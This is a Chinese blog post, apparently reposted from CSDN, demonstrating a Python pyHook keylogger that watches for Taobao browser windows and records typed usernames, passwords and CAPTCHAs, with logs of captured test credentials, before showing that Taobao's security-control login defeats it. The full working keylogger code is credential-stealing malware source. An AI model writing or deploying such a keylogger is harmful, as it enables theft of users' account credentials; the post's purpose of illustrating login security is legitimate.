Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性
来源:互联网 发布:照片变卡通人物软件 编辑:程序博客网 时间:2024/04/29 08:31
一、实现思路:
1、判断当前用户操作的窗口,如果窗口是淘宝网的页面,则开始监控。
2、将用户在淘宝上的所有输入全部记录下来,通常这些记录中会包括用户登陆时的用户名、密码,电话、邮箱等敏感信息。
二、代码实现:
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import pythoncom
- import pyHook
- import time
- import logging
- import logging.config
- #日志配置文件名
- LOG_FILENAME = 'hook_logging.conf'
- #日志语句提示信息
- LOG_CONTENT_NAME = 'taobao_input_msg'
- def log_init(log_config_filename, logname):
- '''''
- Function:日志模块初始化函数
- Input:log_config_filename:日志配置文件名
- lognmae:每条日志前的提示语句
- Output: logger
- author: socrates
- blog:http://blog.csdn.net/dyx1024
- date:2012-02-13
- '''
- logging.config.fileConfig(log_config_filename)
- logger = logging.getLogger(logname)
- return logger
- def onMouseEvent(event):
- '''''
- Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,
- 将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码
- 框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,
- 所以此处要判断是否通过鼠标切换了输入窗口
- Input:even
- Output: Ture
- author: socrates
- blog:http://blog.csdn.net/dyx1024
- date:2012-03-03
- '''
- global MSG
- if len(MSG) != 0:
- hook_logger.info('current page:%s' % event.WindowName)
- hook_logger.error('information:%s' % MSG)
- MSG = ''
- return True
- def onKeyboardEvent(event):
- "处理键盘事件"
- '''''
- Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入
- 因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见
- 的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来
- 结束输入,此时要将信息记录到日志中。
- Input:even
- Output: Ture
- author: socrates
- blog:http://blog.csdn.net/dyx1024
- date:2012-03-03
- '''
- global MSG
- if event.WindowName.decode('GBK').find(u"淘宝") != -1:
- if (127 >= event.Ascii > 31) or (event.Ascii == 8):
- MSG += chr(event.Ascii)
- hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))
- if (event.Ascii == 9) or (event.Ascii == 13):
- hook_logger.info('current page:%s' % event.WindowName)
- hook_logger.error('information:%s' % MSG)
- MSG = ''
- return True
- if __name__ == "__main__":
- '''''
- Function:获取TAOBAO账号及密码
- Input:NONE
- Output: NONE
- author: socrates
- blog:http://blog.csdn.net/dyx1024
- date:2012-03-03
- '''
- #打开日志文件
- #初始化日志系统
- hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME)
- MSG = ''
- #创建hook句柄
- hm = pyHook.HookManager()
- #监控鼠标
- hm.SubscribeMouseLeftDown(onMouseEvent)
- hm.HookMouse()
- #监控键盘
- hm.KeyDown = onKeyboardEvent
- hm.HookKeyboard()
- #循环获取消息
- pythoncom.PumpMessages()
三、测试
步骤:
1、打开taobao页面,输入用户名及密码,并登陆,窗口截图如下:
2、看看后台日志文件taobao_log.log中的内容:
- [2012-03-03 09:03:20,812 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:03:21,155 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:03:22,453 taobao_input_msg]INFO: ascii:99(C)
- [2012-03-03 09:03:23,046 taobao_input_msg]INFO: ascii:114(R)
- [2012-03-03 09:03:23,280 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:03:23,608 taobao_input_msg]INFO: ascii:116(T)
- [2012-03-03 09:03:23,890 taobao_input_msg]INFO: ascii:101(E)
- [2012-03-03 09:03:24,828 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:03:25,875 taobao_input_msg]INFO: ascii:64(2)
- [2012-03-03 09:03:26,921 taobao_input_msg]INFO: ascii:103(G)
- [2012-03-03 09:03:27,312 taobao_input_msg]INFO: ascii:109(M)
- [2012-03-03 09:03:27,515 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:03:27,733 taobao_input_msg]INFO: ascii:105(I)
- [2012-03-03 09:03:27,953 taobao_input_msg]INFO: ascii:108(L)
- [2012-03-03 09:03:29,000 taobao_input_msg]INFO: ascii:46(Oem_Period)
- [2012-03-03 09:03:29,280 taobao_input_msg]INFO: ascii:99(C)
- [2012-03-03 09:03:29,358 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:03:29,953 taobao_input_msg]INFO: ascii:109(M)
- [2012-03-03 09:03:30,390 taobao_input_msg]INFO: current page:淘宝网 - 淘我喜欢! - Google Chrome
- [2012-03-03 09:03:30,390 taobao_input_msg]ERROR: information:socrates@gmail.com
- [2012-03-03 09:03:33,140 taobao_input_msg]INFO: ascii:109(M)
- [2012-03-03 09:03:33,467 taobao_input_msg]INFO: ascii:121(Y)
- [2012-03-03 09:03:34,358 taobao_input_msg]INFO: ascii:95(Oem_Minus)
- [2012-03-03 09:03:35,030 taobao_input_msg]INFO: ascii:112(P)
- [2012-03-03 09:03:35,328 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:03:35,703 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:03:35,875 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:03:36,280 taobao_input_msg]INFO: ascii:119(W)
- [2012-03-03 09:03:36,733 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:03:37,030 taobao_input_msg]INFO: ascii:114(R)
- [2012-03-03 09:03:37,421 taobao_input_msg]INFO: ascii:100(D)
- [2012-03-03 09:03:38,937 taobao_input_msg]INFO: ascii:64(2)
- [2012-03-03 09:03:40,015 taobao_input_msg]INFO: ascii:116(T)
- [2012-03-03 09:03:40,280 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:03:40,500 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:03:41,030 taobao_input_msg]INFO: ascii:98(B)
- [2012-03-03 09:03:41,265 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:03:41,421 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:03:43,405 taobao_input_msg]INFO: current page:None
- [2012-03-03 09:03:43,405 taobao_input_msg]ERROR: information:my_password@taobao
- [2012-03-03 09:03:45,765 taobao_input_msg]INFO: ascii:83(S)
- [2012-03-03 09:03:46,140 taobao_input_msg]INFO: ascii:75(K)
- [2012-03-03 09:03:47,000 taobao_input_msg]INFO: ascii:55(7)
- [2012-03-03 09:03:48,030 taobao_input_msg]INFO: ascii:87(W)
- [2012-03-03 09:03:52,233 taobao_input_msg]INFO: current page:None
- [2012-03-03 09:03:52,233 taobao_input_msg]ERROR: information:SK7W
上面的日志中,我将用户每次的按键用info级别保存下来,当用户输入完成后,将合并后的串以ERROR级别打印出来,如果你不需要输入info级别,只需要修改日志配置文件设置打印级别高于info即可,记录日志这块的内容可见文章《Python:日志模块logging的应用》。之所以打印是为和合并后的串进行校验,并且如果用户输入过程中出现错误,使用退格键删除,可以通过ascii码识别出,从日志中可以看到,有三个关键性信息:
[2012-03-03 09:03:30,390 taobao_input_msg]ERROR: information:socrates@gmail.com[2012-03-03 09:03:43,405 taobao_input_msg]ERROR: information:my_password@taobao
[2012-03-03 09:03:52,233 taobao_input_msg]ERROR: information:SK7W
以上三条ERROR日志分别对应了我输入的用户名、密码(仅仅是个测试)、验证码。
四、我们应该怎么做?
从上面的实验可以看出,如果有人在我们电脑中植入了这样一个小程序,有可能会获取到一些敏感数据,应该如何避免呢,淘宝其实已经想好了,就是在登录时,只需要将“安全控件登陆”这个选项勾上,这样键盘的输入将不会被hook住。再次测试如下:
1、输入不变,只是勾选“安全控件登陆”,如图:
看看这次的日志信息:
- [2012-03-03 09:12:11,562 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:12:12,187 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:12:12,733 taobao_input_msg]INFO: ascii:99(C)
- [2012-03-03 09:12:13,217 taobao_input_msg]INFO: ascii:114(R)
- [2012-03-03 09:12:13,530 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:12:13,890 taobao_input_msg]INFO: ascii:116(T)
- [2012-03-03 09:12:14,125 taobao_input_msg]INFO: ascii:101(E)
- [2012-03-03 09:12:14,390 taobao_input_msg]INFO: ascii:115(S)
- [2012-03-03 09:12:15,655 taobao_input_msg]INFO: ascii:64(2)
- [2012-03-03 09:12:16,375 taobao_input_msg]INFO: ascii:103(G)
- [2012-03-03 09:12:16,717 taobao_input_msg]INFO: ascii:109(M)
- [2012-03-03 09:12:16,796 taobao_input_msg]INFO: ascii:97(A)
- [2012-03-03 09:12:16,953 taobao_input_msg]INFO: ascii:105(I)
- [2012-03-03 09:12:17,155 taobao_input_msg]INFO: ascii:108(L)
- [2012-03-03 09:12:17,750 taobao_input_msg]INFO: ascii:46(Oem_Period)
- [2012-03-03 09:12:17,967 taobao_input_msg]INFO: ascii:99(C)
- [2012-03-03 09:12:18,078 taobao_input_msg]INFO: ascii:111(O)
- [2012-03-03 09:12:18,233 taobao_input_msg]INFO: ascii:109(M)
- [2012-03-03 09:12:18,671 taobao_input_msg]INFO: current page:淘宝网 - 淘我喜欢! - Windows Internet Explorer
- [2012-03-03 09:12:18,671 taobao_input_msg]ERROR: information:socrates@gmail.com
- [2012-03-03 09:12:30,530 taobao_input_msg]INFO: ascii:101(E)
- [2012-03-03 09:12:32,546 taobao_input_msg]INFO: ascii:54(6)
- [2012-03-03 09:12:33,717 taobao_input_msg]INFO: ascii:104(H)
- [2012-03-03 09:12:34,592 taobao_input_msg]INFO: ascii:56(8)
- [2012-03-03 09:12:40,828 taobao_input_msg]INFO: current page:None
- [2012-03-03 09:12:40,828 taobao_input_msg]ERROR: information:e6h8
可以看出,在密码框中输入的内容没有被记录下来。
五、总结
从上面的实验可以看出,登录方式设计的重要性,如果对安全性考虑不足,这块很容易被利用。对于用户来说,在我们登录一些涉及个人敏感数据的网站时,最好安装上网站提供的安全插件,再者,在输入时采用软键盘等均可以避免输入被监控。
- Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性
- Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性
- Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性
- Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性(二)
- Python:通过远程监控用户输入来获取淘宝账号和密码的实验(一)
- Python:通过远程监控用户输入来获取淘宝账号和密码的实验(二)
- 【Python】获取Chrome浏览器已保存的账号和密码
- java通过账号密码登陆,并获取系统信息
- qt 登陆界面账号和密码的验证
- 忘记Django登陆账号和密码的处理方法
- 本地更改登陆的SVN账号密码
- 通过证书方式实现ssh的无密码登陆
- android--内部存储写文件和使用API获取内部存储路径,sharedperferance获取原有的账号密码--简单的登陆(记录原有的账号和密码)--I/0流介绍
- python fabric简单的配置账号和密码
- Python通过正则表达式和字符串处理获取方式获取所需子字符串的方式
- 阿里妈妈账号PID和淘宝账号PID的区别
- ecshop 通过数据库触发器的方式同步用户账号密码,失败的问题
- 模仿QQ记住账号和密码的登陆与实现的android开发实例
- android 获取联系人和短消息信息
- 为什么Hadoop将一定会是分布式计算的未来?
- 自:3.1.2开发过程需要注意的步骤,手册上未写
- 传智播客之Lucene3.0详解
- java note
- Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性
- 你想证明什么,愚蠢还是英明?
- RTOS关键技术指标
- Android apk安装过程
- js的document的属性和方法
- dede 内容模型 附件类型 去除冗余代码
- Hibernate学习之缓存
- VS2010 的饭factory.dat cannot be opened解决方案
- Sublime Text 2 快捷键